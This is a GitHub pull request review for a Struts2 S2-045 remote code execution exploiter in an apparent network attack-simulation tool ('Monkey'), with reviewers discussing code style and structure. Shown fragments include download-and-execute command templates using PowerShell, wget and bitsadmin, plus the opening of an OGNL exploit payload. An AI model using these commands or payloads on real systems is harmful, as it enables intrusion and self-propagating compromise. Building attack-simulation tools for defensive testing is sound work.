Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Struts2 rce #146

Merged
merged 11 commits into from
Jun 26, 2018
Merged

Struts2 rce #146

merged 11 commits into from
Jun 26, 2018

Conversation

VakarisZ
Copy link
Contributor

Feature

Struts2 remote code execution exploitation added:

https://cwiki.apache.org/confluence/display/WW/S2-045

Tested on windows 10 and ubuntu(struts2 2.3.15.1 and tomcat 9.0.0.M9)

Changes

Monkey can now propagate using above mentioned vulnerability and if it does
so successfully, warnings and recomendations are shown in report

LOG = logging.getLogger(__name__)

ID_STRING = "M0NK3YSTRUTS2"
MONKEY_ARG = "m0nk3y"
Copy link
Contributor

@danielguardicore danielguardicore Jun 21, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Use the globals we have under model\__init__.py and add generic stuff to there.
Also use the dropper arg rather than monkey, that solves your timeout problem in running the command.

MONKEY_ARG = "m0nk3y"
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why do you assume we have sudo and why does chmod need that?

# Commands used to check if monkeys already exists
EXISTS = "ls %s"

WEB_PORTS = [80, 443, 8080]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Exists under config, HTTP_PORTS

except AttributeError:
# If url does not exist
return False
except httplib.IncompleteRead, e:
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lets use modern exception syntax, as e


def exploit_host(self):
# Initializing vars for convenience
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why not reuse what the http fingerprint module provides us? See how the shellshock module implemented this

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I used what I found in rdp grinder. Also, seemed elegant enough not to search elsewhere


cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)

command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
Copy link
Contributor

@danielguardicore danielguardicore Jun 21, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What happens if Powershell isn't usable? Can we check for that?
Alternate option, make sure we're talking about Windows Server 2008 R2+ or Win8+ to make sure Powershell is installed and usable.

"""
page = ""

payload = "%{(#_='multipart/form-data')."
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd rather shift this to some const string and build this with string formatting, will be faster/cleaner.

except httplib.IncompleteRead, e:
page = e.partial
except Exception:
LOG.info("Request timed out, because monkey is still running on remote host")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Doesn't fit as an error message for generic function

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Couldn't find propper error handling for timeout. Any help?

def exploit_host(self):
# Initializing vars for convenience
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
dropper_path_linux = self._config.dropper_target_path_linux
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why no option for 32bit/64bit linux path?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Because there are no options in self._config. If everything else creates only /temp/monkey and my code starts creating /temp/monkey32 or 64 it's rather unconsistant, don't you think?

LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist and self.check_remote_file(url, dropper_path):
return True
Copy link
Contributor

@danielguardicore danielguardicore Jun 26, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd rather add a quick logging line to help us understand what happens in this case. Also note the same issue exists in Windows

@@ -4,6 +4,7 @@

MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If this is unique to the struts attack, what is it doing here?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

In my case if the payload is wrong we get the whole page. To know that payload wasn't wrong and we in fact could exploit, we need to look for as unique as possible string(ID STRING). This string may be used for other purposes or other exploits that share the same problem

# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
RDP_CMDLINE_HTTP_BITS_DROPPER = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, )
Copy link
Contributor

@danielguardicore danielguardicore Jun 26, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

RDP_CMDLINE_HTTP_BITS and RDP_CMDLINE_HTTP_BITS_DROPPER
Sounds like you need
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s'
and have two other consts, otherwise we're having the same magic string twice.


cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)

command = WGET_HTTP % {'monkey_path': dropper_path,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think we'd be better off splitting this into three parts (see Shellshock) so if we fail we have better logging of which part failed.

@danielguardicore danielguardicore merged commit 3118620 into guardicore:develop Jun 26, 2018
@VakarisZ VakarisZ deleted the struts2RCE branch December 11, 2018 15:05
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants